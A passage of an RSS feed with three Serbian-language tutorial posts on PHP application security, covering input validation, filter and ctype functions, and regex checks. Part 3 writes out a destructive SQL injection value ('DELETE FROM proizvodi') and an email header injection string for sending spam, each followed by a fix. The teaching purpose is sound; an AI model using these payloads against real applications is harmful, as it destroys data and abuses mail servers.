<p>Validacija brojnih vrednosti je veoma jednostavna i omogućava nam i da radimo sa ispravnim podacima i da veoma jednostavno povećamo sigurnost naše PHP aplikacije. Konkretno, ukoliko imamo stranicu koja na osnovu URL komande, odnosno zadatog ID parametra, ispisuje informacije o proizvodu i ukoliko nismo proverili da se zaista radi o ID parametru koji je brojčana vrednost (u najvećim slučajevima jeste), napadač lako može izazvati greške u radu aplikacije, pa čak i SQL injection, odnosno izmenu samog upita za “dohvatanje” informacija o proizvodu i tako ugroziti sigurnost aplikacije.</p>
<p>Primer takvog kôda može izgledati ovako:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
// www.example.com/proizvod.php?id=15';DELETE FROM proizvodi;--

$id = $_GET['id'];
$sql = &quot;SELECT * FROM proizvodi WHERE id= '$id'&quot;;

//...
?&gt;
</pre>
<p>Jasno je da bi se umesto jednog, izvršila dva upita i $sql promenjiva bi izgledala ovako:</p>
<pre class="brush: sql; title: ; notranslate">SELECT * FROM proizvodi WHERE id = '15'; DELETE FROM proizvodi; --'</pre>
<p>Validacija ovakvog inputa, odnosno ID parametra, bi bila jednostavna. Trebali bi samo da osiguramo da je uneti parametar zaista broj, a da u ostalim slučajevima prikažemo grešku, odnosno nepostojeću stranu. Za tu svrhu možemo iskoristiti is_numeric() funkciju.</p>
<pre class="brush: php; title: ; notranslate">
if(!is_numeric($_GET['id'])) {
    // prikaži 404 stranicu
}
</pre>
<p>Međutim, bolji način je kastovanje podataka, odnosno menjanje tipa. Na ovaj način definitivno osiguravamo da radimo sa pravim tipom podatka.</p>
<pre class="brush: php; title: ; notranslate">
$id = (int) $_GET['id']

if($id == 0) {
    // prikaži 404 stranu
}
</pre>
<p>Sledeći  kôd je ujedno i primer za “best practice” u ovakvim slučajevima:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
// www.example.com/proizvod.php?id=15';DELETE FROM proizvodi;--

// Prvo proveramo da li je uopšte zadat obezan parametar
if(empty($_GET['id'])) {
    // prikaži 404
}

// kastovanje
$id = (int) $_GET['id']; // 15

// optimizacija: sprečavamo nepotreban upit
if($id &lt;= 0) {
   // prikaži 404
}

// sada je upit siguran
$sql = &quot;SELECT * FROM proizvodi WHERE id= '$id'&quot;;

//...
?&gt;
</pre>
<p><strong>Napomena:</strong> mysql_query() ne dozvoljava izvršenje više upita odjednom, ali drzajveri za PostgreSQL i SQLite ih podržavaju.</p>
<p><strong>Savet:</strong> Operacije sa bazom podataka su najskuplje, u smislu vremena i memorije, pa tako ukoliko nije neophodo da imamo neki upit, ne trebamo ga ni imati. Ovaj primer odlično opisuje da ne trebamo izvršiti upit ukoliko je $id manji ili jednak nuli, jer u našoj bazi verovatno i nećemo imati proizvod sa tim ID.</p>
<h3>Validacija teksualnih inputa</h3>
<p>Dok je filtriranje brojeva relativno jednostavno, filtriranje tekstualnih inputa je za nijansu komplikovanije. Za neke prostije formate inputa, kao što su poštanski broj, telefon, email adresa i slični možemo koristiti već postojeće PHP funkcije.  Ali, pre detaljnog objašnjena, sledeći primer odlično prikazuje važnost filtriranje inputa.</p>
<p>Ukoliko bi smo imali jednostavnu kontakt formu, koju korisnik popunjava svojim ličnim podacima, email adresom i komentarom, jednostavna skripta koja bi izvršavala tu kontakt formu i slala podatke na našu email adresu bi mogla da izgleda ovako:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
// podaci sa forme
$ime = $_POST['ime'];
$email = $_POST['email'];
$tekst = $_POST['tekst'];

// Heder za ispis pošaljioca u mail klijentu
$heder = &quot;From: $ime &lt;$email&gt; \n\r&quot;;

// slanje email-a na našu adresu
mail('kontakt@example.com', $tekst, $heder);

?&gt;
</pre>
<p>Ova skripta će svakako raditi očekivano, ali samo ukoliko verujemo korisniku da će zaista uneti ispravne podatke. Pošto mu ne smemo verovati, napadač veoma lako može iskoristiti ovakvu skriptu za slanje SPAM poruka sa našeg servera. Dovoljno je da umesto svog imena, ili email adrese unese nešto ovako:</p>
<pre class="brush: plain; title: ; notranslate">example@example.com&gt; \n\r To: &lt;example2@example.com&gt; \n\r Bcc: &lt;example3@example.com</pre>
<p>Jasno je da će se vrednost iz $email direktno kopirati u $header, i da će poruka biti poslata na onoliko adresa koliko napadač želi. Važnost zaštite u ovom slučaju je veoma velika, svakako ne bi želeli da se sa našeg servera šalju SPAM poruke, zbog kojih možemo biti označeni kao maliciozni i završiti na nekoj “crnoj listi”.</p>
<p>Još jednom, rešenje ovog i mnogih drugih problema, leži u filtriranju inputa. Pa krenimo redom:</p>
<h3>Ctype funkcije</h3>
<p>Character type funkcije imaju odlične mogućnosti, a pritom imaju i odlične performanse. Ove funkcije, proveravaju svaki karakter i rezultat će biti TRUE jedino ako svaki karakter zadovoljava postavljeni kriterijum. U suprotom, ukoliko je karakter nedozvoljenog tipa, rezultat će biti FALSE.</p>
<table border="0" cellspacing="3" cellpadding="3">
<tbody>
<tr>
<td width="150px"><strong>Funkcija</strong></td>
<td>Opis</td>
</tr>
<tr>
<td><strong>ctype_alnum</strong></td>
<td>Provera   slovnih i brojnih karaktera</td>
</tr>
<tr>
<td><strong>ctype_alpha</strong></td>
<td>Provera slovnih   karaktera</td>
</tr>
<tr>
<td><strong>ctype_digit</strong></td>
<td>Provera   brojnih karaktera</td>
</tr>
<tr>
<td><strong>ctype_lower</strong></td>
<td>Provera malih slova</td>
</tr>
<tr>
<td><strong>ctype_upper</strong></td>
<td>Provera   velikih slova</td>
</tr>
</tbody>
</table>
<h3>Filter funkcije</h3>
<p>Filter funkcije imaju dve mogućnosti – da provere string (validate) po postavljenim kriterijumima ili da ga isprave (sanitization) ukoliko ne odgovara kriterijumima. Svakako je preporučljivo koristi samo validaciju, ali i ispravljanje ima svoju široku primenu.</p>
<pre class="brush: php; title: ; notranslate">filter_var($var, $filter);</pre>
<p>Prvi atribut je vrednost koja se proverava, a drugi predstavlja kriterijume za proveru, a sledeća tabela predstavlja najčešće korišćene kriterijume:</p>
<table border="0" cellspacing="3" cellpadding="3">
<tbody>
<tr>
<td width="150"><strong>Filter</strong></td>
<td>Opis</td>
</tr>
<tr>
<td><strong>FILTER_VALIDATE_EMAIL</strong></td>
<td>Provera   email adrese</td>
</tr>
<tr>
<td><strong>FILTER_VALIDATE_INT</strong></td>
<td>Provera brojnih   vrednosti, sa opcijama min_range i max_range</td>
</tr>
<tr>
<td><strong>FILTER_VALIDATE_IP</strong></td>
<td>Provera   IP adrese</td>
</tr>
<tr>
<td><strong>FILTER_VALIDATE_URL</strong></td>
<td>Provera ispravne URL   adrese</td>
</tr>
</tbody>
</table>
<p>Sledeći primer prikazuje pravilnu validaciju email adrese. Takođe, predstavlja i rešenje za pređašnji primer koji je omogućavao slanje masovnig SPAM poruka:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php

$email = $_POST['email'];
if(filter_var($email, FILTER_VALIDATE_EMAIL)) {
    // sada je sigurno poslati mail
}
?&gt;
</pre>
<h3>Regularni izrazi (regular expression, regex)</h3>
<p>Regularni izrazi su skup pravila koji se izvršavaju nad određenim podacima u cilju identifikacije karaktera i/ili znakovnih skupova u nekom tekstualnom objektu. Regularne izraze koriste svi programski jezici, imaju relativno dobre performanse i široku primenjivost.</p>
<p>Sledeća tabela prikazuje često korišćene PHP funkcije koje koriste regularne izraze:</p>
<table border="0" cellspacing="3" cellpadding="3">
<tbody>
<tr>
<td width="150"><strong>Funkcija</strong></td>
<td>Opis</td>
</tr>
<tr>
<td><strong>preg_match</strong></td>
<td>Izvršava   regex proveru nad podacima</td>
</tr>
<tr>
<td><strong>preg_match_all</strong></td>
<td>Pretražuje podatke na   osnovu regex i postavlja rezultate u niz, na osnovu zadatih pravila</td>
</tr>
<tr>
<td><strong>preg_replace</strong></td>
<td>Pretražuje   podatke na osnovu regex i pogotke zamenjuje sa drugim podacima</td>
</tr>
</tbody>
</table>
<p>Pošto regularni izrazi i njihovo funkcionisanje nije tema ovog kursa, biće prikazani samo najšeće korišćeni izrazi u proveri podataka:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
// izraz za proveru email adrese
$regex = '/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}$/';

if(preg_match($regex, $email)) {
    // ispavna email adresa
}
?&gt;
</pre>
<p>U sledećoj tabeli su dati često korišćeni i par zanimljivih regularnih izraza:</p>
<table border="0" cellspacing="3" cellpadding="3">
<tbody>
<tr>
<td width="300"><strong>Izraz</strong></td>
<td>Opis</td>
</tr>
<tr>
<td><strong>/^[a-z]*$/</strong></td>
<td>Sva   mala slova u intervalu od slova a do z</td>
</tr>
<tr>
<td><strong>/^[a-zA-Z0-9]*$/</strong></td>
<td>Slovni i brojni znakovi (mala i velika slova i brojevi)</td>
</tr>
<tr>
<td><strong>/^[a-fA-F0-9]{32}$/</strong></td>
<td>Format   md5 hash vrednosti</td>
</tr>
<tr>
<td><strong>/^(5[1-5][0-9]{14})*$/</strong><strong> </strong></td>
<td>Format Master kreditne kartice</td>
</tr>
<tr>
<td><strong>/^(4[0-9]{12}(?:[0-9]{3})?)*$/</strong></td>
<td>Format Visa kreditne kartice</td>
</tr>
</tbody>
</table>
<p>Za sad toliko o validaciji i filtriranju inputa. U nastavku ovog kursa možete očekivati tekstove na temu XSS-a (Cross Site Scripting) i SQL injection-a.</p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/validacija-i-filtriranje-inputa-sigurnost-php-aplikacija-3-deo/&via=salebab&text=Validacija i filtriranje inputa (Sigurnost PHP aplikacija - 3.deo)&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/validacija-i-filtriranje-inputa-sigurnost-php-aplikacija-3-deo/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Osnove sigurnosti (Sigurnost PHP aplikacija &#8211; 2.deo)</title>
		<link>http://www.salebab.net/osnove-sigurnosti-sigurnost-php-aplikacija-2-deo/</link>
		<comments>http://www.salebab.net/osnove-sigurnosti-sigurnost-php-aplikacija-2-deo/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 23:07:34 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[Sigurnost]]></category>

		<guid isPermaLink="false">http://www.salebab.net/?p=32</guid>
		<description><![CDATA[Ovo je drugi u seriji članaka o sigurnosti PHP aplikacija. Pogledajte Sigurnost PHP aplikacija Svaka web aplikacije je napisana u cilju da izvrši zahteve korisnika. Ti zahtevi mogu biti &#8220;prikaži mi stranicu&#8221; ili &#8220;pošalji napisani mail&#8221; ili &#8220;uloguj me&#8221;, odnosno sve komande i podaci koje korisnik šalje aplikaciji. Interpretiranje tih komandi i podataka je osnovna [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center; background-color: #fffbcc; font-size: 10px; color: #808080;">Ovo je drugi u seriji članaka o sigurnosti PHP aplikacija. Pogledajte <a href="http://www.salebab.net/sigurnost-php-aplikacija/">Sigurnost PHP aplikacija</a></p>
<p>Svaka web aplikacije je napisana u cilju da izvrši zahteve korisnika. Ti zahtevi mogu biti &#8220;prikaži mi stranicu&#8221; ili &#8220;pošalji napisani mail&#8221; ili &#8220;uloguj me&#8221;, odnosno sve komande i podaci koje korisnik šalje aplikaciji. Interpretiranje tih komandi i podataka je osnovna delatnost aplikacije, a baš u toj interpretaciji leže najveći sigurnosni rizici.<span id="more-32"></span></p>
<p>Komande i podaci koje šaljemo aplikaciji se nazivaju inputi i mogu biti poslati putem:</p>
<ul>
<li>URL      adrese</li>
<li>HTML      formulara</li>
<li>Kolačića      (cookie)</li>
<li>Parametara      u headeru zahteva</li>
</ul>
<p>U web sigurnosti važi opšte pravilo da &#8220;korisniku nikada ne treba verovati&#8221;, pa tako ukoliko se od njega zahteva da unese svoju email adresu, ne mora baš značiti da će on to uraditi. Može uneti neku komandu koja će obrisati celu bazu podataka ili iskoristiti vaš server za slanje masovnih SPAM poruka. I ako zvuči neverovatno, realno je moguće i to će ovaj kurs pokazati i ponuditi metode za zaštitu takvog sistema.</p>
<h2>Validacija inputa</h2>
<p>Najveći sugurnosni propusti leže u interpretaciji inputa, pa stoga validacija tih komandi i podataka predstavlja najveći sigurnosni zadatak u kreiranju web aplikacije. Ujedno, validacija inputa nam omogućava da radimo sa realnim i ispravnim podacima, odnosno da odbacimo sve nepotrebne podatke. Uzmimo za primer samo kreiranje mejling liste – da li je bolje imati 100 korisnika sa ispravnim podacima, ili 10.000 sa neispravnim? Ili zamislite da se na našem kompanijskom blogu nađe 100 SPAM komentara koji sadrže linkove do pornografskog sadržaja ili maliciozne JavaScript kodove koje mogu naneti štetu našim korisnicima.</p>
<p>Dakle, validacija inputa, ne samo da odigrava značaju ulogu kao sigurnosni faktor, već omogućava uspešno poslovanje, kreiranje dobrog imidža i možda pre svega, čuva dragoceno vreme i novac koje bi izgubili ispravljajući nastale štete.</p>
<p>Nastavak je u sledećem članku -&gt; <a href="http://www.salebab.net/validacija-i-filtriranje-inputa-sigurnost-php-aplikacija-3-deo/">Validacija i filtiranje inputa (Sigurnost PHP aplikacija &#8211; 3. deo)</a></p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/osnove-sigurnosti-sigurnost-php-aplikacija-2-deo/&via=salebab&text=Osnove sigurnosti (Sigurnost PHP aplikacija - 2.deo)&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/osnove-sigurnosti-sigurnost-php-aplikacija-2-deo/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Sigurnost PHP aplikacija</title>
		<link>http://www.salebab.net/sigurnost-php-aplikacija/</link>
		<comments>http://www.salebab.net/sigurnost-php-aplikacija/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 13:55:44 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[Sigurnost]]></category>

		<guid isPermaLink="false">http://www.salebab.net/?p=4</guid>
		<description><![CDATA[Ovo je prvi u budućoj seriji članaka o sigurnosti PHP aplikacija. Očekuje vas uvod u osnove, filtriranje inputa, eskejpovanje outputa, sigurnost baze podataka i još dosta zanimljivosti. Jedna od duhovitih činjenica o PHP-u je da su njegove funkcije pisane pod raznim okolnostima, ponekad i u alkoholisanom stanju. Uzevši i u obzir da je softver otvorenog [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center; background-color: #fffbcc; font-size: 10px;"><span style="color: #808080;">Ovo je prvi u budućoj seriji članaka o sigurnosti PHP aplikacija. Očekuje vas uvod u osnove, filtriranje inputa, eskejpovanje outputa, sigurnost baze podataka i još dosta zanimljivosti.</span></p>
<p>Jedna od duhovitih činjenica o PHP-u je da su njegove funkcije pisane pod raznim okolnostima, ponekad i u alkoholisanom stanju. Uzevši i u obzir da je softver otvorenog koda, oni trezni mogu pronaći greške i kritikovati kako je PHP pun sigurnostnih propusta. To je donekle i tačno, ali takav sistem omogućava rešavanje tih propusta i sa svakom novom verzijom platforma postaje sve sigurnija. Međutim, najčešći krivci za sigurnosne propuste nije PHP platforma, već isključivo programeri aplikacija.</p>
<p>Lakoća programskog jezika, mogućnost da se neki proces odradi na mnogo načina ili vremensko ograničenje mogu biti uzroci takvih grešaka, ali za sigurnost svakako treba odvojiti vremena i steći dobre navike. Ne biste valjda rizikovali da vaša baza podataka bude ukradena, vaši korisnici izloženi riziku ili da ceo vaš online biznis propadne preko noći zbog jedne linije u kodu?<span id="more-4"></span></p>
<p>Na sigurnost ne treba gledati kao na karakteristiku, već na kao proces koji se treba stalno usavršavati i dorađivati i naročito ulagati u njega. Veoma često se dešava da programeri tokom razvoja aplikacije ignorišu sigurnost i trude se da aplikacija &#8220;proradi&#8221;, a sigurnost ostavljaju za kasniju fazu, koja uglavnom nikada i neće doći na red. To je veoma pogrešan pristup i treba imati uvek na umu da nije dovoljno dobro ako aplikacija radi ono što smo zamislili, već i da bude otporna na napade i da pravilno upravlja greškama. Dakle, sigurnost aplikacije treba uzimati u obzir u ranim fazama razvoja i već pri projektovanju napraviti dobar koncept kojeg se treba pridržavati tokom celog razvoja. Takav koncept, svakako, treba sadržati sledeću metadologiju:</p>
<ul>
<li>Bezbednost aplikativne arhitekture</li>
<li>Upravljanje greškama</li>
<li>Filtriranje i validacija inputa</li>
<li>Testiranje</li>
</ul>
<p>Sigurnost naše aplikacije zavisi i od <strong>sigurnosti servera</strong> na kojem se nalazi. Ukoliko takav server poseduje zastreo i ranjiv softver, velika je verovatnoća da je i naša aplikacija i baza podataka ugrožena. Svakako je najbolje rešenje imati celoukpnu kontrolu nad serverom i voditi računa da je softver uvek &#8220;up to date&#8221;.  Međutim, često to iz finansijskih razloga nije moguće pa smo opredeljeni za zakup hostinga na nekom serveru. U tom slučaju uvek birati kvalitetne i proverene hosting provajdere koji imaju ozbiljan pristup bezbednosti aplikativnog softvera, ne uzdati se previše u njihove sisteme bekapa podataka, već samostalno brinuti o tome.</p>
<p>Projektovanje sistema za <strong>upravljanje greškama</strong> treba uzeti u obzir u najranijoj fazi izgradnje aplikacije, a prilikom razvoja oslanjati se na taj sistem. Dobar sistem za upravljanje greškama treba da sadrži sa jedne strane obaveštenje za korisnike o nastaloj grešci, koja ne sadrži nikakve tehničke detalje o toj grešci, a sa druge strane, obaveštenje za programere koje sadrži što više tehničkih detalja koji otkrivaju uzrok greške i mesto nastanka. Svakako, treba uzeti u obzir i alate koji služe za pronalaženje grešaka.</p>
<p>Sledeći važnan faktor je <strong>filtriranja inputa</strong> i to je najvredniji savet koga se treba pridržavati. Uvek treba razmišljati u kritičnom stavu, osmisliti najgori scenario i sprečiti ga. Korisniku nikada ne treba verovati i to uvek treba imati na umu. Filtrirati svaki input, proveravati i najmanje moguće greške kao što su dužina stringa i slične, i nikada se ne uzdati u mogućnost HTML-a i JavaScripta za validaciju inputa. Koliko god dobro zaštitili našu formu JavaScript funkcijama, one uvek mogu biti zaobiđene, kao i sve što se izvršava na klijentskoj strani.</p>
<p>Bezbednost se može najlakše podići na viši nivo prostim <strong>testiranjem</strong>. Jednostavno, razmišljajte kao napadač, uzmite u obzir sve moguće scenarije i na taj način koristite aplikaciju. Krenite od prostih stvari – isključite JavaScript i pošaljite prazan formular, unesite neispravne podatke,  pokušajte SQL Injection.  U narednim člancima će biti opisane najčešće korišćene metode napada, pa isprobajte svaku nad vašom aplikacijom. Ukoliko otkrijete i najmanji mogući propust, rešite ga odmah.</p>
<p>Sledeći članak na temu &#8220;Sigurnost web aplikacija&#8221; se bavi problemom filtriranja podataka i validacije inputa. Na konkretnim primerima će biti prikazane česte greške koje programeri prave, ukazivanje na bitnost tih grešaka, kao i načini rešavanja istih. Stay tuned.</p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/sigurnost-php-aplikacija/&via=salebab&text=Sigurnost PHP aplikacija&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/sigurnost-php-aplikacija/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

